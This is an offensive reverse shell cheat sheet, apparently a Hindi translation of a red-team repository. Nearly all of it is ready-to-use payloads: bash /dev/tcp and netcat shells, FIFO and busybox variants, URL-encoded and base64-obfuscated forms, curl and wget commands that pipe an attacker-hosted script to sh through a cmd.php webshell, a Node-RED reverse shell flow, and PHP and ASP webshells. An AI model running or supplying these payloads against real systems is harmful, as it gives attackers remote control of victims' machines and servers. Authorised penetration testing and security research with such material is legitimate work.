Offensive Reverse Shell (Cheat Sheet)

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Offensive Reverse Shell (Cheat Sheet) में आपका स्वागत है, यह एक व्यापक रिपॉज़िटरी है जिसे विशेष रूप से Red Team Operations, Penetration Testing, और Security Research के लिए तैयार किया गया है। इस रिपॉज़िटरी में विभिन्न भाषाओं और कॉन्फ़िगरेशन में तैयार किए गए विविध reverse shell पेलोड शामिल हैं, जो विविध परिदृश्यों और वातावरणों के अनुरूप हैं।

[!WARNING] इस रिपॉज़िटरी की सभी सामग्री कड़ाई से केवल शैक्षिक उद्देश्यों और नियंत्रित वातावरणों में अधिकृत सुरक्षा परीक्षण के लिए है, चाहे वह वास्तविक हो या CTF।

विषय-सूची

Bash
Netcat
- Netcat Linux
- Netcat Windows
cURL
Wget
Node-RED
WebShells
- Exif Data
- ASP WebShell
- PHP WebShell
  - GET
  - POST
  - Chain Filter
  - Log Poisoning WebShell
    - SSH
    - FTP
    - HTTP
    - RSYNC
Server Side Template Injection (SSTI)
UnrealIRCd
Exif Data
Shellshock
- SSH
- HTTP
  - HTTP 500 Internal Server Error
CMS
- WordPress
- October
- Jenkins
  - Windows
  - Linux
Perl
Python
Python3
PHP
Ruby
Xterm
Ncat
Socat
PowerShell
Awk
Gawk
Golang
Telnet
Java
Node
Msfvenom
- Web Payloads
  - PHP
  - WAR (Tomcat)
  - JAR
  - JSP
  - ASPX
- Linux Payloads
  - Listener Netcat
  - Listener Metasploit Multi Handler
- Windows Payloads
  - Listener Netcat
  - Listener Metasploit Multi Handler

`Bash`

TCP

-i

#sh
sh -i >& /dev/tcp/192.168.1.2/443 0>&1
/bin/sh -i >& /dev/tcp/192.168.1.2/443 0>&1
#bash
bash -i >& /dev/tcp/192.168.1.2/443 0>&1
/bin/bash -i >& /dev/tcp/192.168.1.2/443 0>&1

`196`

#sh
0<&196;exec 196<>/dev/tcp/192.168.1.2/443; sh <&196 >&196 2>&196
0<&196;exec 196<>/dev/tcp/192.168.1.2/443; /bin/sh <&196 >&196 2>&196
#bash
0<&196;exec 196<>/dev/tcp/192.168.1.2/443; bash <&196 >&196 2>&196
0<&196;exec 196<>/dev/tcp/192.168.1.2/443; /bin/bash <&196 >&196 2>&196

`पंक्ति पढ़ें`

exec 5<>/dev/tcp/192.168.1.2/443;cat <&5 | while read line; do $line 2>&5 >&5; done

`5`

#sh
sh -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5
/bin/sh -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5
#bash
bash -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5
/bin/bash -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5

`-c`

bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'
#basic url encode
bash -c 'bash -i >%26 /dev/tcp/192.168.1.2/443 0>%261'
#full url encode
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.2%2F443%200%3E%261%27

UDP

#sh
sh -i >& /dev/udp/192.168.1.2/443 0>&1
/bin/sh -i >& /dev/udp/192.168.1.2/443 0>&1
#bash
bash -i >& /dev/udp/192.168.1.2/443 0>&1
/bin/bash -i >& /dev/udp/192.168.1.2/443 0>&1

`Netcat`

`Netcat Linux`

-e

#sh
nc 192.168.1.2 443 -e sh
nc 192.168.1.2 443 -e /bin/sh
#bash
nc 192.168.1.2 443 -e bash
nc 192.168.1.2 443 -e /bin/bash

-c

#sh
nc -c sh 192.168.1.2 443
nc -c /bin/sh 192.168.1.2 443
#bash
nc -c bash 192.168.1.2 443
nc -c /bin/bash 192.168.1.2 443

NO -e -c

#1) create FIFO pipe (pipeline)
mknod /tmp/backpipe p
#2) reverse shell
/bin/sh 0</tmp/backpipe | nc 192.168.1.2 443 1>/tmp/backpipe

`BusyBox`

#sh
busybox nc 192.168.1.2 443 -e sh
busybox nc 192.168.1.2 443 -e /bin/sh
#bash
busybox nc 192.168.1.2 443 -e bash
busybox nc 192.168.1.2 443 -e /bin/bash
#not space
busybox+nc+192.168.1.2+443+-e+sh
busybox${IFS}nc${IFS}192.168.1.2${IFS}443${IFS}-e${IFS}sh

fifo

#sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f
#bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.1.2 443 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.2 443 >/tmp/f
#url encode
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.1.2%20443%20%3E%2Ftmp%2Ff

#base64
#atacker
base64 -w 0 <<< 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f'
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xLjIgNDQzID4vdG1wL2YK
nc -lvnp 443
#victim
echo 'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xLjIgNDQzID4vdG1wL2YK' |base64 -d |sh
#or
http://192.168.1.3/cmd.php?cmd=echo 'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xLjIgNDQzID4vdG1wL2YK' |base64 -d |sh

`Netcat Windows`

nc.exe -e cmd 192.168.1.2 443
#smbserver
cp $(locate nc.exe) . && impacket-smbserver a $(pwd) -smb2support
\\192.168.1.2\a\nc.exe -e cmd 192.168.1.2 443

`cURL`

#atacker
echo "nc -e /bin/sh 192.168.1.2 443" > index.html && python3 -m http.server 80
nc -lvnp 443
#victim
http://192.168.1.3/cmd.php?cmd=curl 192.168.1.2/index.html|sh

`Wget`

#atacker
echo "nc -e /bin/sh 192.168.1.2 443" > index.html && python3 -m http.server 80
nc -lvnp 443
#victim
http://192.168.1.3/cmd.php?cmd=wget -qO- 192.168.1.2/index.html|sh

`Node-RED`

[{"id":"7235b2e6.4cdb9c","type":"tab","label":"Flow 1"},{"id":"d03f1ac0.886c28","type":"tcp out","z":"7235b2e6.4cdb9c","host":"","port":"","beserver":"reply","base64":false,"end":false,"name":"","x":786,"y":350,"wires":[]},{"id":"c14a4b00.271d28","type":"tcp in","z":"7235b2e6.4cdb9c","name":"","server":"client","host":"192.168.1.2","port":"443","datamode":"stream","datatype":"buffer","newline":"","topic":"","base64":false,"x":281,"y":337,"wires":[["4750d7cd.3c6e88"]]},{"id":"4750d7cd.3c6e88","type":"exec","z":"7235b2e6.4cdb9c","command":"","addpay":true,"append":"","useSpawn":"false","timer":"","oldrc":false,"name":"","x":517,"y":362.5,"wires":[["d03f1ac0.886c28"],["d03f1ac0.886c28"],["d03f1ac0.886c28"]]}]

`WebShells`

`Exif Data WebShell`

exiftool -Comment='<?php system($_GET['cmd']); ?>' filename.png
mv filename.png filename.php.png

`ASP WebShell`

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

OffensiveReverseShellCheatSheet

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